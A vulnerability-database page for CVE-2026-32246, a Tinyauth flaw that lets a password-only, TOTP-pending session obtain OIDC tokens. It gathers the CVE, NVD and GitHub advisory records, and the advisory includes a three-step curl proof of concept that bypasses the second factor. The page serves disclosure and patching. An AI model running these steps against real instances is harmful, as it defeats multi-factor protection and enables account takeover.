Vulnerability-Lookup

CVE-2026-32246 (GCVE-0-2026-32246)

Vulnerability from cvelistv5 – Published: 2026-03-12 18:59 – Updated: 2026-03-12 20:46

Title

Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint

Summary

Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user's password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor. This vulnerability is fixed in 5.0.3.

Severity ?

8.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

CWE

CWE-287 - Improper Authentication

Assigner

GitHub_M

References

URL

Tags

https://github.com/steveiliop56/tinyauth/security…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	steveiliop56	tinyauth	Affected: < 5.0.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32246",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-12T20:43:38.639462Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-12T20:46:24.238Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "tinyauth",
          "vendor": "steveiliop56",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user\u0027s password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor. This vulnerability is fixed in 5.0.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-12T18:59:20.875Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39"
        }
      ],
      "source": {
        "advisory": "GHSA-3q28-qjrv-qr39",
        "discovery": "UNKNOWN"
      },
      "title": "Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32246",
    "datePublished": "2026-03-12T18:59:20.875Z",
    "dateReserved": "2026-03-11T14:47:05.685Z",
    "dateUpdated": "2026-03-12T20:46:24.238Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-32246",
      "date": "2026-04-23",
      "epss": "0.00045",
      "percentile": "0.13952"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-32246\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-12T19:16:19.577\",\"lastModified\":\"2026-03-19T20:35:26.040\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user\u0027s password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor. This vulnerability is fixed in 5.0.3.\"},{\"lang\":\"es\",\"value\":\"Tinyauth es un servidor de autenticaci\u00f3n y autorizaci\u00f3n. Anteriormente a la 5.0.3, el endpoint de autorizaci\u00f3n OIDC permite a los usuarios con una sesi\u00f3n TOTP pendiente (contrase\u00f1a verificada, TOTP a\u00fan no completado) obtener c\u00f3digos de autorizaci\u00f3n. Un atacante que conoce la contrase\u00f1a de un usuario pero no su secreto TOTP puede obtener tokens OIDC v\u00e1lidos, eludiendo completamente el segundo factor. Esta vulnerabilidad se ha corregido en la versi\u00f3n 5.0.3.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N\",\"baseScore\":8.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":4.7},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N\",\"baseScore\":7.1,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":4.2}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-287\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"NVD-CWE-noinfo\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:tinyauth:tinyauth:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"5.0.2\",\"matchCriteriaId\":\"937C7D56-16AC-4536-B16E-D9057C5971DE\"}]}]}],\"references\":[{\"url\":\"https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-32246\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-12T20:43:38.639462Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-12T20:43:39.320Z\"}}], \"cna\": {\"title\": \"Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint\", \"source\": {\"advisory\": \"GHSA-3q28-qjrv-qr39\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"steveiliop56\", \"product\": \"tinyauth\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 5.0.3\"}]}], \"references\": [{\"url\": \"https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39\", \"name\": \"https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user\u0027s password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor. This vulnerability is fixed in 5.0.3.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-287\", \"description\": \"CWE-287: Improper Authentication\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-12T18:59:20.875Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-32246\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-12T20:46:24.238Z\", \"dateReserved\": \"2026-03-11T14:47:05.685Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-12T18:59:20.875Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-32246

Vulnerability from fkie_nvd - Published: 2026-03-12 19:16 - Updated: 2026-03-19 20:35

Severity ?

8.5 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39	Exploit, Third Party Advisory

Impacted products

	Vendor	Product	Version
	tinyauth	tinyauth	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:tinyauth:tinyauth:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "937C7D56-16AC-4536-B16E-D9057C5971DE",
              "versionEndIncluding": "5.0.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user\u0027s password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor. This vulnerability is fixed in 5.0.3."
    },
    {
      "lang": "es",
      "value": "Tinyauth es un servidor de autenticaci\u00f3n y autorizaci\u00f3n. Anteriormente a la 5.0.3, el endpoint de autorizaci\u00f3n OIDC permite a los usuarios con una sesi\u00f3n TOTP pendiente (contrase\u00f1a verificada, TOTP a\u00fan no completado) obtener c\u00f3digos de autorizaci\u00f3n. Un atacante que conoce la contrase\u00f1a de un usuario pero no su secreto TOTP puede obtener tokens OIDC v\u00e1lidos, eludiendo completamente el segundo factor. Esta vulnerabilidad se ha corregido en la versi\u00f3n 5.0.3."
    }
  ],
  "id": "CVE-2026-32246",
  "lastModified": "2026-03-19T20:35:26.040",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-12T19:16:19.577",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-noinfo"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-3Q28-QJRV-QR39

Vulnerability from github – Published: 2026-03-12 16:38 – Updated: 2026-03-13 13:35

Summary

Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint

Details

Summary

The OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user's password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor.

Details

When a user with TOTP enabled logs in at POST /api/user/login, the server creates a session with TotpPending: true and returns a session cookie. The context middleware (internal/middleware/context_middleware.go:56-66) correctly sets TotpPending: true and does not set IsLoggedIn for these sessions.

However, the OIDC authorize handler (internal/controller/oidc_controller.go:105-116) only checks whether a user context exists via utils.GetContext(c). It does not check IsLoggedIn or TotpPending. Since the context middleware populates a context for TOTP-pending sessions (with the username filled in), GetContext succeeds, and the handler proceeds to issue an authorization code at line 156 using the username from the incomplete session.

For comparison, the proxy controller (internal/controller/proxy_controller.go:176-179) correctly blocks TOTP-incomplete sessions by checking IsBasicAuth && TotpEnabled and setting IsLoggedIn = false. The OIDC authorize handler has no equivalent guard.

StoreCode at internal/service/oidc_service.go:305 saves the code with the victim's sub claim. The attacker then exchanges this code at POST /api/oidc/token for a valid access token and ID token.

PoC

Prerequisites: a tinyauth instance with at least one OIDC client configured and a local user with TOTP enabled.

Step 1 — Log in with password only (do not complete TOTP):

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"totpuser","password":"totp123"}'

Response: {"message":"TOTP required","status":200,"totpPending":true}

Step 2 — Request an OIDC authorization code using the TOTP-pending cookie:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Response: {"redirect_uri":"http://localhost:8080/callback?code=<AUTH_CODE>&state=test","status":200}

Step 3 — Exchange the code for tokens:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "my-client-id:my-client-secret" \
  -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://localhost:8080/callback"

Response contains access_token, id_token, and refresh_token for the victim user. TOTP was never submitted.

Impact

Complete bypass of TOTP/MFA for any user account on any tinyauth instance that has OIDC clients configured. An attacker who has compromised a user's password (credential stuffing, phishing, database breach) can obtain SSO tokens for that user's identity without knowing the TOTP secret. This defeats the purpose of the second factor entirely. All downstream applications relying on tinyauth's OIDC provider for authentication are affected.

Severity ?

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/steveiliop56/tinyauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1-20260311144920-9eb2d33064b7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T16:38:46Z",
    "nvd_published_at": "2026-03-12T19:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OIDC authorization endpoint allows users with a TOTP-pending session (password verified, TOTP not yet completed) to obtain authorization codes. An attacker who knows a user\u0027s password but not their TOTP secret can obtain valid OIDC tokens, completely bypassing the second factor.\n\n### Details\n\nWhen a user with TOTP enabled logs in at `POST /api/user/login`, the server creates a session with `TotpPending: true` and returns a session cookie. The context middleware (`internal/middleware/context_middleware.go:56-66`) correctly sets `TotpPending: true` and does not set `IsLoggedIn` for these sessions.\n\nHowever, the OIDC authorize handler (`internal/controller/oidc_controller.go:105-116`) only checks whether a user context exists via `utils.GetContext(c)`. It does not check `IsLoggedIn` or `TotpPending`. Since the context middleware populates a context for TOTP-pending sessions (with the username filled in), `GetContext` succeeds, and the handler proceeds to issue an authorization code at line 156 using the username from the incomplete session.\n\nFor comparison, the proxy controller (`internal/controller/proxy_controller.go:176-179`) correctly blocks TOTP-incomplete sessions by checking `IsBasicAuth \u0026\u0026 TotpEnabled` and setting `IsLoggedIn = false`. The OIDC authorize handler has no equivalent guard.\n\n`StoreCode` at `internal/service/oidc_service.go:305` saves the code with the victim\u0027s `sub` claim. The attacker then exchanges this code at `POST /api/oidc/token` for a valid access token and ID token.\n\n### PoC\n\nPrerequisites: a tinyauth instance with at least one OIDC client configured and a local user with TOTP enabled.\n\nStep 1 \u2014 Log in with password only (do not complete TOTP):\n\n```\ncurl -c cookies.txt -X POST http://localhost:3000/api/user/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"totpuser\",\"password\":\"totp123\"}\u0027\n```\n\nResponse: `{\"message\":\"TOTP required\",\"status\":200,\"totpPending\":true}`\n\nStep 2 \u2014 Request an OIDC authorization code using the TOTP-pending cookie:\n\n```\ncurl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"client_id\":\"my-client-id\",\"redirect_uri\":\"http://localhost:8080/callback\",\"response_type\":\"code\",\"scope\":\"openid\",\"state\":\"test\"}\u0027\n```\n\nResponse: `{\"redirect_uri\":\"http://localhost:8080/callback?code=\u003cAUTH_CODE\u003e\u0026state=test\",\"status\":200}`\n\nStep 3 \u2014 Exchange the code for tokens:\n\n```\ncurl -X POST http://localhost:3000/api/oidc/token \\\n  -u \"my-client-id:my-client-secret\" \\\n  -d \"grant_type=authorization_code\u0026code=\u003cAUTH_CODE\u003e\u0026redirect_uri=http://localhost:8080/callback\"\n```\n\nResponse contains `access_token`, `id_token`, and `refresh_token` for the victim user. TOTP was never submitted.\n\n### Impact\n\nComplete bypass of TOTP/MFA for any user account on any tinyauth instance that has OIDC clients configured. An attacker who has compromised a user\u0027s password (credential stuffing, phishing, database breach) can obtain SSO tokens for that user\u0027s identity without knowing the TOTP secret. This defeats the purpose of the second factor entirely. All downstream applications relying on tinyauth\u0027s OIDC provider for authentication are affected.",
  "id": "GHSA-3q28-qjrv-qr39",
  "modified": "2026-03-13T13:35:22Z",
  "published": "2026-03-12T16:38:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-3q28-qjrv-qr39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32246"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveiliop56/tinyauth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/releases/tag/v5.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-32246 (GCVE-0-2026-32246)

FKIE_CVE-2026-32246

GHSA-3Q28-QJRV-QR39

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature